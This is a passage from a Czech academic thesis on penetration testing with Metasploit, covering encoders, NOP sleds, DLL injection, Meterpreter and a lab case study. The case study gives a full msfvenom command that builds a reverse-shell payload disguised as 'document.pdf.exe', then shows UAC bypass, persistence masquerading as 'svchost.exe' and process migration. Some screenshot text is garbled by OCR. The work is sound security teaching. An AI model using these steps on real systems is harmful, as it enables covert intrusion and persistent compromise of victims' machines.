antivirim a jinym prostfedkim IDF. Cilem tohoto typu kédovani je kromé
toho i snaha vyhnout se restrikcim na sadu znakt. Zdrojovy kdd je totiz
preveden podobné jako pri vyuZiti Base64 na ASCII format. Ve vystupu se

vSak objevuji pouze alfanumerické znaky. (95)
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msfé > show encoders

Encoders

# Name Disclosure Date Rank Description

1] encoder/cmd/brace low Bash Brace Expans
ion Command

encode C good [ Echo Command Enco

encode manual

e e low C Bourne ${IFS}
stitution

4 ence /perl normal C Perl Command Enco
der

5 encode /powershell_base64 t C Powershell Basef4
Command Ence

Obrazek 12 Vypis péti konkrétnich kédovacii Metasploitu
Zdroj: Vlastni tvorba

8.3.4 NOPS

Jako soucast exploitii ¢i payloadti miiZze byt vyuzita i specialni procesorova instrukce
NOP (no-operation isntruction). Procesor vykonavajici tuto instrukci ji nejprve
precte, nic neudéla a nasledné se posune o instrukci dal. Opkdd této instrukce je
v architekture Intel 90 a je Casto k vidéni ve vypisech jako \x90. V Assembleru je pak
tato instrukce zapsana prosté jako NOP. (84 stranky 111-115)

Instrukce NOP slouzi k nékolika uceltim. Tim hlavnim je tvorba tzv. ,NOP
slides”, coz je sekvence instrukci NOP, ktera postupné vede na skutecny kéd. Po této
»skluzavce“ se tedy procesor vZdy bezpecné dostane k prvni skute¢né instrukci. (84

stranky 111-115; 84 str. 216)

Vyuziti tohoto fenoménu je vyhodné, protoZe je tak mozZné udrzet
konzistentni velikost payloadli napri¢ exploitacnimi pokusy. Vysledny kéd bude
vzdy bez problému spustitelny, protoZe stejné velikosti je dosaZeno vycpanim

vysledného kodu instrukcemi NOP. (97)

Nékteré exploity funguji na zakladé zaplnéni velkého mnoZstvi pameéti
instrukcemi NOP a ndaslednym zmanipulovanim procesoru, aby do této oblasti
libovolné skocil a tim nezamySlené zacal provadét kod exploitu. (84 str. 111) Pravé

kviili vyhodnosti instrukci NOP pro exploity vSak fada antivirt a jinych systémi IDS
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oznacuje kod, ktery obsahuje velké mnoZstvi téchto instrukci za potencialné

nebezpeclny. (84 str. 230)

8.3.5 Auxiliary, evasion a post
Funkce poslednich tfi typti moduli je jiZ zjevna z jejich nazvu. Jedna se o moduly
typu auxiliary, evasion a post. Slozka auxiliary obsahuje rizné scannery portd,

fuzzery, sniffery ¢i nastroje pro utoky typu brute-force apod. (92)

Nové pridanymi standartnimi moduly jsou pak evasion a post. Moduly typu
evasion piedstavuji rlizné metody vyhnuti se detekci anti-malwarovym softwarem,
kterych Metasploit v soucasné dobé obsahuje pouze 9. Slozka post potom sdruzuje
moduly, které slouZi k po-exploitacni ¢innosti jako je naptiklad udrZeni persistence.
V minulosti tohoto bylo dosahnuto za pomoci Meterpreter skritpt, ale tato moznost
je jiz nyni ,deprecated”, tedy porad mozna, avsak zastarald. V budoucnu miize byt

navic tato mozZnost z Metasploitu odstranéna kompletné.

8.4 Meterpreter

Jednim zhlavnich nevyhod vétSiny payloadd je tvorba nového procesu
v kompromitovaném systému. Toto je neZadouci, protozZe tento proces poté muze
byt snadno detekovan a zachycen antivirovym softwarem. DalSim problémem
jednoduchych payloadi je dale velmi omezena funk¢nost, kterou ¢asto miizZe byt jen

nékolik malo funkci. (1 stranky 124-125; 98)

Z tohoto divodu byl vytvofen Meterpreter, tedy jakysi prikazovy interpret
pro Metasploit. Meterpreter vyuziva techniku zvanou ,in-memory DLL injekce", ktera

je blize popsana v nasledujici podkapitole.

8.4.1 DLL injekce

Dynamicky linkované knihovny DLL (dynamic-link library) predstavuji
mechanismus systému Windows pro nacitani sdilenych knihoven. Spusténé
programy tak mohou sdilet Casto vyuZzivané funkce. DalSi z vyhod DLL je moZnost

jeho dynamického nacteni za béhu programu. Kéd knihovny tedy nemusi byt
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v paméti cely, ale mliZe byt nacten, az kdyZ to bude nutné. DLL injekce je poté forma

injekce kodu, ktera vyuziva toho mechanismu v operacnich systémech Windows.

Do adresniho prostoru béZiciho procesu je nahrana knihovna DLL, jez
obsahuje kéd, ktery chceme vkontextu daného cilového procesu spustit.
Injektovany kéd tak miize naptiklad ménit chovani daného procesu, ale také je timto
zplisobem mozné ziskat i pristup k prostfedkiim daného procesu. Injektovani
knihoven DLL lze pouZit k riznym tceltim, v€etné rozsifeni funkénosti programu
tieti stranou (99), feSeni problémil s programem bez nutnosti zmény jeho kédu
(100) nebo jako prostiedek Skodlivého softwaru ¢i Skodlivé ¢innosti k naruseni

bezpecnosti a integrity systému. (99)

Autori Skodlivého softwaru pouzivaji DLL injekce ze dvou hlavnich divodi.
Zaprvé jim injektovani Skodlivého kddu poskytuje urcity stupen neviditelnosti pri
jeho provadéni; vSechny akce provadéné knihovnou DLL vypadaji, Ze pochazeji
z tohoto procesu, a tudiZ jsou neodhalitelné pomoci antiviru na bazi detekce
procest. Zadruhé tato technika umoznuje Skodlivému koédu vyuzit kontext
provadéni "kontejnerového" procesu a vyuZzit tak zdroje, které jsou specificky

dostupné danému procesu. (101)
Samotny proces injekce DLL je dle (102) moZné shrnout do 4 krokdi.

1. Pripojeni se k cilovému procesu

2. Alokovani paméti v ramci daného procesu

3. Nakopirovani daného DLL nebo cesty k nému do paméti procesu a urceni
danych pamétovych adres

4. Instruovani daného procesu tak, aby kod obsazZeny v DLL spustil
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Step 1

Proces B Attach Proces A
>

OpenProcess();

Choose: DLL Path or Full DLL
Step 2

Proces B Allocate Memory Proces A

VirtualAllocex();

Step 3
s Copy DLL/Determine  SnSsGBgyy
Addresses
DLL
WriteProcessMemory();
DLL Path: Full DLL:

LoadLibrary(); Get...Offset();
Step 4

Proces B Execute Proces A
>
CreateRemoteThread(); DLL
NtCreateThreadEx();

RtICreateUserThread();

Obrazek 13: Detailni postup ukazkové DLL injekce
Zdroj: Vlastni tvorba dle (102)

8.4.2 Incializace Meterpreteru

Meterpreter tedy predstavuje komplexni payload, ktery vyuziva nékolikakrokové
inicializace za vyuZiti techniky stageru, ktery postupné nacita dalsi stages. Uspé$na
inicializace Meterpreteru probiha ve ¢tyrech krocich. Na zacatku je do systému,
na ktery je utoCeno odeslan takzvany stager, ktery po uspésSné exploitaci vytvori
spojeni zpatky k MSFConsole ptres TCP (Transmission Controll Protokol) na pfedem
dané adrese a portu. V dalsi fazi odesle MSFConosle druhou ¢ast payloadu DLL
injekce. Poté dojde k odeslani Meterpreter DLL za uUcelem vytvoreni Fadného
komunikac¢niho kandlu. RozS$ifeni, jako jsou napf. stdapi a priv, jsou pak dale
nacitany za vyuziti standartniho protokolu pro zabezpetenou komunikaci TLS

(Transmission Layer Security). (1 stranky 124-125)
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Exploit + 1st Stage payload

>

Payload Connect Back to MSF

<

2nd Stage DLL
Injection Payload
sent

MSF Sends
Meterpreter DLL

> B

= o1l

Client and. Selfver xm
Communication oxm

(¢ 111

A < » Qam

Client Server

Obrazek 14 Uspésna inicializace Meterpereteru
Zdroj: Vllastni tvorba dle https://www.javatpoint.com/meterpreter-in-ethical-

hacking

8.4.3 Vyhody Meterpreteru

Meterpreter tedy predstavuje velmi mocny nastroj, jehoZ vyhody jsou dle (1 stranky

124-125) a (103) nasledujici:

e Nenapadnost:
o Nevytvari novy proces, protoZe funguje v kontextu exploitovaného
procesu
o Nachazi se kompletné v paméti, takze na disk neni zapasano viibec nic
o Vyuziva Sifrovanou komunikaci
o DokaZe jednoduse migrovat napri¢ procesy

o Kvili své nenapadnosti vyrazné komplikuje forenzni analyzu
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o Sila:
o Meterpreter vyuziva kandlovany komunikac¢ni systém, takZe je moZné
pracovat s nékolika komunika¢nimi kanaly naraz
o Vyuziva TLV protokol, ktery ma malo limitaci
e Rozsiritelnost:
o Je to platforma, pro kterou se daji velmi prijemné, rychle a jednoduse
psat rozsireni
o Nové funkce se daji nacitat za béhu Meterpreteru a to (aniz by bylo

potieba) Meterpreter znovu sestavovat

8.5 Seznameni se zaklady ovladani Frameworku Metasploit

Cilem této pod-kapitoly je popsat zaklady ovladani Metasploit Framewrok za vyuZiti
nejpouzivanéjsiho uzivatelského rozhrani MSFConsole. Toto rozhrani bylo pro tuto
pod-kapitolu a nasledné i pro pripadovou studii vybrano nejen kvtili své popularité,
ale také kviili tomu, Ze se jednda o jediné rozhrani, které umoziuje pristup ke vSem
funkcim Metasploit Framework. (89) Toto rozhrani je mozné v pripadé standartni
instalace Metasploit Framework spustit naptiklad zadanim Kklicového slova

»msfconsole* do ptrikazové radky.

Po uspésném spusténi MSFConsole se zobrazi uvitaci banner s dalS$imi
informacemi o aktudlné nainstalované verzi Metasploit Framework vcetné
detailnich informaci o mnozstvi aktualné dostupnych moznosti v kazdém z modula.
Spusténé rozhrani MSFConsole je ukdzano na obrazku 15. Na tomto obrazku je vidét
i podoba samotného rozrani, které je ptrikazové a tedy negrafické. V pripadé verze 6

tohoto frameworku je rozrani MSFConsole znazornéno znaky , msf6 >“.
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Obrazek 15 Uvitaci banner Metasploit Frameworku
Zdroj: Vlastni tvorba

Po spusténi uzZivatelského rozhrani je nyni jiZ mozné Metasploit Framework
naplno vyuzit. NejzakladnéjSim prikazem je ,help“, ktery jak jiZ nazev napovida,
zobrazi seznam vSech dostupnych prikazi. DalSim z nejzakladnéjsich prikazl pro
MSFConsole je ,search”. Tento prikaz na zakladé pouZitych klicovych slov prohleda
vSechny moduly vcetné jejich popisti a zobrazi relevantni vysledky. Takovéto
vyhledavani je pak dale moZno zefektivnit vyuZitim pomocnych kritérii, jako je

napriklad , type:exploit“ ¢i ,port:21“.

Pouzitim ptikazu ,info“ je ddle moZné ziskat dodate¢né informace o kazdém
z modulli. Pro konkrétni vybér modulu se vyuZziva prikaz ,use”. Oba tyto prikazy
standartné oCekavaji jako argument presnou cestu k pozadovanému modulu, avsak
pri vyuziti vyhledavani je moZné si praci usnadnit a namisto toho jako argument pro
Luse“ a ,info” vyuzit pouze cislo, které bylo kazdému z nalezenych moduld docasné
prirazeno na zakladé jeho poradi ve vystupu vyhledavani. Presné takova situace je

znazornéna na obrazku 16.
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version type:a

‘apple_safari_ftp_url_cookie_the
'Ftpﬂbi5an_¥tp_traversal

! erberus_sftp_enumusers
f alarada_Ftp_ versal
asy_file_sharing_ftp

nerfftp'Ftp_versiun
indawsfftpff _admin_user
rver_port

1
5
el
I

I
5
i}

=

I

'Ftpﬁ;a1qrftp user
=) hTTp,Tltin Ftp 4dﬂ1ﬂ pwd

auxillaryfdns;Ftp;u:Ftpd
with a module by name or index. For example

Obrazek 16 Ukazka vybéru konkrétniho modulu
Zdroj: Vlastni tvorba

Po vybrani konkrétntho modulu je dale nutné konkrétni modul
nakonfigurovat pro ucel, ke kterému se ho chystame pouzit. MoZnosti konfigurace
se lisi pro kazdy z moduld, spolec¢né vsak je, Ze nékteré konfigura¢ni mozZnosti jsou
povinné a jiné nikoliv. Konkrétni informace je mozZné zobrazit prikazem ,show

options".

Z obrazku 17 je patrné, Ze pri pouziti modulu pro skenovani FTP verzi je
mozné nakonfigurovat ,FTPPASS, FTPUSER, RHOSTS, RPORT, THREADS". Vysvétleni
konkrétniho vyznamu je mozné zjistit z popisu, ktery je u kazdé mozZnosti uvedeny.
Velmi ¢astymi konfigura¢nimi moZnostmi v Metasploit Framework jsou ,RHOST(S),
RPORT, LHOST, LPORT". Prvni pismeno (L/R) vtomto piipadé oznacuje, jestli se
jedna o mistni ¢i vzdaleny cilovy systém. V ptipadé, Ze vzdaleny systém miiZe byt
z principu pouze jeden, byva jako moznost uvedena namisto ,RHOSTS“ pouze

jednotné cislo ,RHOST".
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Tim vSak moznosti konfigurace moduld nekon¢i. Dal$i moznosti je pak mozné
zobrazit prikazem ,show advanced“ a ,show evasion“. Pokrocilé konfiguracni
moznosti ¢asto neni potieba viibec ménit. Ve specidlnich ptipadech to vSak miize
byt vhodné. V pripadé zde prezentovaného modulu pro skenovani FTP verze
obsahuji pokrocilé konfigura¢ni moZnosti napriklad nastaveni tykajici se
kryptografickych protokolti TLS/SSL. Posledni z konfigura¢nich moZnosti slouzi pro
vyhnuti se odhaleni. V téchto konfigura¢nich moZnostech je, jak jizZ ndzev napovida,
mozné upravit chovani modulu tak, aby jeho spusténi bylo na cilovém pocitacovém
systému a siti obtiznéji detekovatelné. V pripadé skeneri se jedna napriklad
o moznost pridani zpozdéni pied kazdym krokem skenovani. To miiZe byt zejména
vyhodné, pokud se jedna o typické skenovani celé pocitacové sité, protoze velmi

rychlé iterativni prozkoumani sité miize byt snadno detekovano.

> use 5
auxiliary( } > show options

e

e options (auxiliary/scanner/ftp/ftp_version):
Name Current Setting Required Description

FTPPASS mozilla@example.com no The
FTPUSER anonymous no The
RHOSTS W The
RPORT 2 W The
THREADS 1 W The

=

M LA

orm o= o
=
m o

Lo

(=
=
W
=

—+
[§¢}
—+
=0
=]

oW
= 1=

—+
[§¥}
—+
=

(i)
]
—+ O

Obrazek 17 Ukazka konfiguracnich moZnosti
Zdroj: Vlastni tvorba

Volba konkrétni hodnoty konfiguratni moZnosti se provadi prikazem ,set".
Nastaveni uzivatele v pripadé skeneru FTP verze miize byt tedy provedeno
ptrikazem ,set FTPUSER user123“. Poté co penetracni tester modul spravné nastavi,
je uZmozné pouZzit ,run“, ktery kod obsazeny v konkrétnim modulu provede. Vystup
po provedeni modulu je na obrazku 18. Z obrazku je patrné, Ze sken byl ispésné

proveden a konkrétni implementace FTP sluzby byla identifikovdna jako vsftpd
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2.3.4. Tuto informaci mtZze dale penetracni tester vyuzit a hledat zranitelnosti v této

konkrétni implementaci FTP.

)} > run

- FTP Banner: "228 (vsFTPd 3.4 Y x@dh

- Scanned 1 of 1 hosts (180% complete)

Obrazek 18 Uspésné provedeny modul
Zdroj: Vlastni tvorba
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9 Pripadova studie

Za ucelem blizstho prozkoumani a demonstrace mozného vyuziti ndastroje
Metasploit Framework pro penetracni testovani byla vytvorena piipadova studie,
ktera je sestavena se zakladé predem pripraveného scénare. Scénar byl
zkonstruovan tak, aby souvisle predvedl Sirokou Skalu moZnosti, které framework

nabizi.

Vzhledem ktématu této prace a vSestrannosti nastroje Metasploit
Framework je v ptipadové studii vyuziti jinych nastrojt, které by bézné mohly byt

pro penetrac¢ni testovani pouzity omezeno.

9.1 Predstaveni sité

Scénar pro provedeni pripadové studie byl sestaven tak, aby na ném bylo moZné
demonstrovat co nejvice Sirokou Skalu riznych mozZnosti, které Metasploit
Framework nabizi. Sit pro tento uUcet byla vytvorena tak, jak je znazornéna
na obrazku 19. Sit' se sklada ze dvou oddélenych podsiti. Sit' 10.0.0.0/24 dale
referovana jako sit A je na obrazku znazornéna vlevo. Druhou siti je sit
10.0.100.0/24, na kterou je dale odkazovano jako na sit' B je znazornéna na pravé
strané obrazku. Specialnim zarizenim je server umistény uprostied obrazku, tento
server totiZ obsahuje dvé sitové karty a je tedy soucasti sité A i B. V tomto scénari
jsou sité A i B spravovany stejnou smyslenou organizaci, ktera za tcelem zvyseni

zabezpeceni implemetovala bezpecnostni politiku, ktera je v bodech sepsana nize.
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Obrazek 19 Topologie sité
Zdroj: Vlastni tvorba

Zakladni vlastnosti scénare:

1. Zbezpecnostnich diivodl hypoteticka organizace, ktera sité A i B spravuje
drzi zamérné tyto sité od sebe oddélené. Router tedy slouzi striktné ke
komunikaci sité A i B sexternimi sitémi avSak ne mezi sebou navzajem.
Prakticiky je toto pravidlo moZné vytvorit absenci routovaciho pravidla pro
propojeni sité A se siti B.

2. Server umistény mezi sité A a B je dosaZitelny zobou siti avSak neni
dosazitelny zzadné jiné sité. Hypotetickd organizace, ktera tuto sit
organizace vlastni, tak rozhodla za ucCelem ochrany dat na serveru
umisténych. Prakticky je tohoto moZné dosdhnout napiiklad umisténim
restriktivniho Access Control Listu (ACL) na vstup routeru, ktery propojuje
sit organizace s externt siti.

3. Z praktickych divodi je stroj penetracniho testera primo pritomny v cilové
siti 10.0.0.0/24. Scénar je vSak navrZeny tak, aby realisticky a proveditelny

i kdyby byla komunikace testera s cilovou siti vedena skrze externi sit.
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Nutnym predpokladem v tomto pripadé€ je, Ze by komunikace nebyla

zablokovana firewallem umisténym na hranici sité této smyslené organizace.

9.2 Priprava scénare

Pripadova studie byla provedena za vyuziti laboratore pocitacovych siti na Fakulté
informatiky a managmentu Univerzity Hradec Kralové. Jednotlivé koncové stanice
jsou virtualizovany za vyuZiti programu Oracle VM VirtualBox. Server je simulovan
pomoci pfedem zdmérné zranitelného operacniho systému Metasploitable 2. Jedna
se o Linuxovy operacni systém, ktery vytvorila spole¢nost rapid7 za iCelem tréningu
a demonstraci technik penetra¢niho testovani. Pro pozdéjsi vyuZziti v ramci
pripadové studie byla pak vtomto operacnim systému piekonfigurovana
predinstalovana verze programu vsftpd tak, aby pro vyuziti sluzby FTP byla nutna
autentizace. Konektivita serveru do dvou siti byla umozZnéna vyuzitim externi USB
sitové karty spoletné svyuzitim druhé sitové karty vestavéné v hostitelském

pocitaci.

e

Obrazek 20 Priprava scénare
Zdroj: Vlastni tvorba
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9.3 Provedeni scénare

Scénar zacina vytvorenim Skodlivého souboru. Vramci Metasploit Framework
za tim ucelem miiZe byt vyuzit piikaz msfvenom, ktery na rozdil od béZnych soucasti
Metasploitu neodkazuje na standartni modul, ale samostatny program, ktery pokud
je nainstalovany, mize byt spustén i pifimo z shellu. Konkrétni syntaxe uzita v tomto
scénafi je nasledujici: ,msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai -i 5 LHOST=10.0.0.4 LPORT=5556 -f exe -0 document.pdf.exe".
Piiznak ,-p“ slouzi pro specifikici konkrétniho payloadu, ktery v tomto pripadé byl
vybrat jako Meterpreter pro Windows. Komunikace byla zvolena jako ,reverse_tcp“,
tedy standartni TCP spojeni, které vzdaleny pocitac po uspésném infikovani
inicializuje smérem k predem vybranému vzdalenému cili. Tento vzaleny cil je
specifikovan moznostmi ,LHOST* a ,LPORT". Ptiznak ,-e“ slouzi k volbé konkrétni
Sifrovaci metody Sifrovani je provedeno tolikrat, kolik je vybrano pomoci piiznaku
»-1“. Vystupni soubor byl zvoleny jako exe s ndzvem ,document.pdf.exe”. Tento nazev
byl zvolen z diivodu znamé vlastnosti operacnich systému typu Windows, které
ve vychozim nastaveni automaticky skryvaji koncovku souboru, takZe se soubor
s velkou pravdépodobnosti na cilovém pocitaci zobrazi pouze jako ,document.pdf,

tedy pouze jako neSkodny dokument. Detailni postup je zobrazen na obrazku 21.

msf6 > msfvenom -p windows/meterpreter/r
exec: msfvenom -p windows/meterpreter/r

Overriding user environment wvariable 'OPEN

[-]1 Mo platform was selected, choosing Ms

[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoder

Attempting to encode

A

m

D

si
si
si
si
si

FE
F
e
F
z

nali succ

wom

=)

Obrazek 21 Vytvoreni $kodlivého souboru
Zdroj: Vlastni tvorba
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Jesté pred tim, nez bude Skodlivy soubor dopraven do cilového pocitacového
systému je potfeba nastavit nami kontrolovany pocita¢, tak aby toto spojeni
ocekaval. Moduly, které takovéto spojeni oc¢ekavaji, se v ramci Metasploitu nazyvaji
yhandlery” a je moZné je spustit a nakonfigurovat stejné jako kazdy jiny modul.
Dilezité je, Ze handler musi byt spustén piesné na stejné adrese a portu, ke kterému
se bude piipadné pripojovat cilovy infikovany pocitac. Jedna se tedy o mapovani 1:1.

Konkrétni nastaveni handleru pro tento scénar je ziejmé z obrazku 22.

ol ) payload windows/meterpreter/reverse_tcp
> windows/meterpreter/reverse_tcp
xploit( ) > set LPORT 53556
LPORT = 5556

' configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set LHOST 10.0.0.4
= 10.8.0.4
msfé exploit(

Started reverse TCP handler on 18.8.8.4:5556

Obrazek 22 Priprava handleru
Zdroj: Vlastni tvorba

Nasleduje dopraveni Skodlivého souboru na vzdaleny pocitac a jeho spusténi.
Toho miiZe byt dosaZeno nékolika zplisoby. Pokud by se jednalo o redlny
nepratelsky utok, tak toho bude dosaZeno pravdépodobné na zakladé socialniho
inZenyrstvi, naptiklad tedy pres phishingovy email. V pfipadé penetracniho
testovani vSe zaleZi na konkrétnim rozsahu penetracniho testu, tak jak byl definovan
ve smlouvé béhem pired-zakazkové interakce. Konkrétni zplsob dopraveni
Skodlivého souboru na cilovy pocita¢ neni dulezity. Dllezité je, co se stane po jeho

spusténti.

Z pohledu cilové stanice, na ktery byl skodlivy soubor spustén, se vse jevi
jako, Ze se nestalo viibec nic. Nepozorny uzivatel tedy na tento ,dokument”
zapomene a pokracuje se svou praci. Na stanici penetrac¢niho testera se vSak v tento
moment objevi rozhrani Meterpreteru, tak je ziejmé z obrazku 23. Cilovy systém byl

tedy aspésné kompromitovan.
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Obrazek 23 Vypis dostupnych pravomoci
Zdroj: Vlastni tvorba

Po UspéSném navazani Meterpreter relace je mozné pokracovat
v prozkoumani kompromitované stanice. VSechny dostupné prikazy Meterpreteru

jsou v tomto pripadé opét mozné ziskat zadanim prikazu ,help”.

Pro ziskani prikazové radky je moZné vyuzit prikaz metepreteru ,shell“.
Na obrazku 23 je napiiklad zobrazeno spusténi prikazu ,getprivs“ pro prikazovou
radku Windows, ktery testerovi ukaze, jak velké pravomoci ma aktualné na cilovém
systému k dispozici. Z obrazku je zrejmé, Ze aktudlné dostupné pravomoci nejsou
nikterak velké a pro penetratniho testera by jisté bylo vyhodné je néjakym
zplUsobem zvysit. Pro tento ucel existuje prikaz Meterpreteru ,getsystem“, ktery se
nékolika riznymi zplsoby pokusi prolomit zabezpeceni a eskalovat privilegia
na opravnéni ,NT AUTHORITY\System”. Jak je ale zjevné z obrazku 24. V tomto

pripadé byla eskalace privilegii netispésna.
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) : Operation failed: 1726 The following was attempted:
Mamed Pi onation (Im Memory/Admin)
Mamed Pipe Impersonation (Dropper/Admin)

Token Dup11catlcn (In Memor ;Admlnl
Mamed Pipe Impersonation
LE] Pipe Imper50n4 1on I _:poo1

=

Obrazek 24 Snaha o eskalaci privilegii
Zdroj: Vlastni tvorba
Po neudspésné eskalaci privilegii nezbyva, neZ pokracovat v prozkoumavani
kompromitovaného systému a jeho sité za ucelem odhaleni dalSich relevantnich

a uzite¢nych informaci.

Za Ucelem uspésné elevace privilegii je potieba nalézt takové informace,
které umozni provedeni dal$ich exploiti na kompromitovaném stroji. Dobrym
nastrojem pro tento ucel je napriklad prikaz ,systeminfo®, ktery je mozné provést
z prikazové tadky operacnich systémi typu Microsoft Windows. Vystup
po provedeni tohoto prikazu je na obrazku 25. Je zde zobrazen nazev pocitace, pocet
jader ale napriklad i skute¢nost, Ze kompromitovany stroj vyuziva operacni systém
Windows 7, ktery oficialné prestal byt vyrobcem podporovan v roce 2020. (104).
Pravdépodobnost nalezeni bezpecnostni slabiny v takovém opera¢nim systému je
tedy znacna. Dalsi dileZitou informaci je i doména ,, WORKGROUP*, ve které pocitac
je. Toto nastaveni totiZ odpovida vychozimu nastaveni a je tedy mozné urcit, Ze
pocitac neni spravovan doménovym kontrolérem. Pro urceni konkrétni instalované
sub-verse operacniho systému je velmi uZitecna sekce , Hotfix(s)" kter4, jak jizZ nazev
napovida, popisuje, jaké posledni softwarové aktualizace operacniho systému byly

nainstalovany.
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JOHNDOE-PC
Microsoft Windows 7 Ultimate
i 1 Servic 1 Build 7681

epping 1 GenuineIntel ~2

System L
Input Lo
Pacific Time ( & Canada)

Network Card(s):

DHCP Enabled:
IP addre

Obrazek 25 Zjistovani dalSich informaci
Zdroj: Vlastni tvorba

Po co nejpresnéjSim zjiSténi aktudlné instalované verze i subverze
operacniho systému je mozné tyto informace vyuZit a identifikovat za pomoci téchto
znalosti potencidlni zranitelnosti a ndlezité exploity, které je mozné pro dal$i pokrok
v penetra¢nim testu vyuzit. Za timto ucelem je mozné vyzkousSet Sirokou Skalu
moznosti jako je napriklad vyuziti vyhledavani uvniti Metasploitu, vyuZiti diive
zminovaného webu cvedetails.com, internetového vyhledavace ¢i rady specidlnich
programli a databazi, které po zadani veSkerych informaci vcetné hotfixt

automaticky vypisi dostupné exploity.

Po provedeni takového vyhledanti je zjiSténo, Ze za icelem eskalace privilegii

je mozZné vyuzit modul ,explouit/windows/local/bypassuac”, ktery ma za cil obejit
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fizeni uzivatelskych uctt (User Account Control) a vytvorit novou relaci, na které jiz

eskalace privilegii na opravnéni ,NT AUTHORITY\System“ ma byt dostupna.

Nastaveni a spusténi tohoto exploitu je zobrazené na obrazku 26. Za ucelem
uspésného provedeni je nejdiive nutné upozadit aktudlni relaci Meterpreteru
ptrikazem ,bg“ ¢i ,background”. Tento exploit dale pro své provedeni vyZaduje

nastaveni relace, ze které ma byt proveden.

:undlng

} = use exploit/windows/local/by |
ad configured, defaulting to windows/meterpreter/reverse_tcp
{ } = set session 1

> run

8.

2| ||
wooow
= M
=
+

=+ U
(=R}

=+

the filesystem ...
s long being uploaded..

.B.3:49160) ;

Obrazek 26 Priprava na eskalaci privilegii
Zdroj: Vlastni tvorba

Z obrazku 27 je ziejmé, Ze exploitace probéhla tspésné a v dlisledku byla
oteviena nova relace sidentifika¢nim Ccislem 2. Pro prepnuti na tuto nové
vytvorenou relaci se vyuziva prikaz ,sessions -i 2“. Parametr ,-i“ v tomto ptipadé
odkazuje na slovo ,interaguj“. Zadanim ptikazu ,getsystem“ do Meterpreteru této

nove otevirené relace je pak nyni jiZ ispésné dosaZeno eskalace privilegii.

ction with 2 ...

Obrazek 27 Uspésna eskalace privilegii
Zdroj: Vlastni tvorba
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Dal$im ze zajimavych ptikazl pro Meterpreter je napiiklad ptikaz,ps“, ktery
zobrazi vSechny aktualné béZici procesy na kompromitovaném pocitaci. Vystup
z tohoto prikazu je ukazadn na obrazku 28. Z obrazku je ziejmé, Ze na cilovém
systému je spuSténa znacna Fada procesli. Za povSimnuti stoji naptiklad i proces
s PID 2384. Tento proces nese nazev ,document.pdf.exe”. Jedna se tedy o proces,
ktery byl spustén na zdkladé spusténého Skodlivého souboru. Tento nazev byl
piivodné zvolen za icelem zamaskovani spustitelného souboru tak, aby vypadal jako
pouhy dokument a byl tedy méné napadny. Nyni ale jméno procesu naopak déla

celou aktivitu na kompromitovaném pocitaci vice napadnou.

Y
3
o

AUTHORITYA\SYSTEM
AUTHORITYA\SYSTEM
AUTHORIT?Y

AUTHORITYAS

AUTHORITYA:

AUTHORITY !

AUTHORITYA:

AUTHORITY !

AUTHORITY S

AUTHORITY\:
AUTHORITYA\NETWORK SERVICE
AUTHORITYALOCAL SERVICE

svchost.e i f AUTHORITYASYSTEM

svchost. G f AUTHORITYM\SYSTEM
svchost. 4 AUTHORITYMLOCAL SERVICE
dwm.exe i JohnDoe-PCh\John Doe
] JohnDoe-PCYJohn Doe
.exe
KickADtbNImu.exe ] J o “John Doe
taskhost.ex i : John Doe
LOCAL SERVICE

NT AUTHORITY%LOCAL SERVICE

JohnDoe-F

NT AUTHORITH

NT AUTHORITYY

NT AUTHORITYY

NT AUTHORITYY
taskmgr.e : 1 JohnDoe-PCh\John Doe
document.pdf.exe i JohnDoe-PChJohn Doe
WUDFHost . exe b NT AUTHORITY

r.exe x f NT AUTHORI

Obrazek 28 Seznam spusténych procesi
Zdroj: Vlastni tvorba
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Skryti procesu miiZe byt dosaZeno napftiklad i v ramci procesu vytvoreni
persistence. Vzhledem k tomu, Ze ptivodné byl pocitacovy systém kompromitovan
za pomoci Skodlivého souboru, je logické, Ze pokud by doslo ke ztraté spojeni, tak
dalsi infikovani stejného pocitace nemusi byt viibec snadné. Obnoveni spojeni by
totiz vyzadovalo druhé spusténi skodlivého souboru. Proto je dalsim dilezitym

krokem v procesu penetracniho testovani vytvoreni persistentni pritomnosti.

Za timto UcCelem je mozné vyuzit modul Meterpreteru
»post/windows/manage/persistence_exe“. Pro spusténi tohoto modulu je nutné
nakonfigurovat fadu konfigura¢nich moZnosti, Jednou znich je napriklad
+REXEPATH", ktera obsahuje adresu ke spustitelnému souboru, ktery ma byt
na vzdaleny pocita¢ nahran a spustén. V tomto pripadé se jedna o stale ten stejny
soubor, ktery byl vyuZit pti prvotnim infikovani vzdaleného pocitace. Soubor se tedy

stale nachazi na adrese ,,/home/kali/document.pdf.exe".

V tomto pripadé neni interakce s uzivatelem nutna a mtze byt vyuzito jiné
snahy o zamaskovani pritomnosti na pocitaCovém systému. Parametr ,REXNAME",
ktery nastavuje nazev, pod kterym bude vysledny spustitelny soubor na cilovém
pocitaci existovat, je tedy nastaven na ,svchost.exe“. Je zde tedy vyuZito vlastnosti
operacnich systémi typu Windows, které maji obvykle v kazdy okamzik spusténo
nékolik procest s timto nazvem. Zvysuje se tim tedy pravdépodobnost, Ze uZzivatel
si podezrelého procesu nevsSimne ani pii otevieni seznamu procesti. Posledni
konfiguracni moZnosti, ktera je potireba pred spusténim modulu nastavit je relace,
kterda ma byt pro spusténi modulu vyuZita. Vtomto pripadé, je tato moZnost
nastavena standartnim zplisobem za vyuZiti prikazu ,set SESSION 2“. Spusténi

tohoto modulu je na obrazku 29.
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msth post(

oca1 \Tempisvchost .exe

cuted with PID 496
ng into autorunm as HKI ' r i urrﬂnT“nxaionEEunE'
Installed into aut |
Cleanup Met
Post module
msf6 post(

Obrazek 29 Vytvoreni persistentni piritomnosti
Zdroj: Vlastni tvorba

Dalsi z mozZnosti skryti pritomnosti na pocitaci je vyuZiti jedné z dilezitych
vlastnosti Meterpreteru, kterou je moznost migrace naptic procesy. Toho je moZné
docilit jednodus$e vyuzitim ptikazu ,migrate” spole¢né s PID, procesu, do kterého ma

byt premigrovano. Migrovani napti¢ procesy kromé zakryti piritomnosti prinasi

dalsi vyhody, které byly bliZe popsany v predchozi kapitole.

VIV

K migraci napri¢ procesy se doporucuje vybrat néjaky stabilni proces, ktery
je spusStény celou dobu, po kterou je pocita¢ zapnuty a ktery zaroven nebudi
podezreni. Typicky se k tomuto ucelu vybira proces ,explorer.exe”, tedy prizkumnik
soubort. Uspé$na migrace napii¢ procesy je znazornéna na obrazku 30.

> migrate 1860
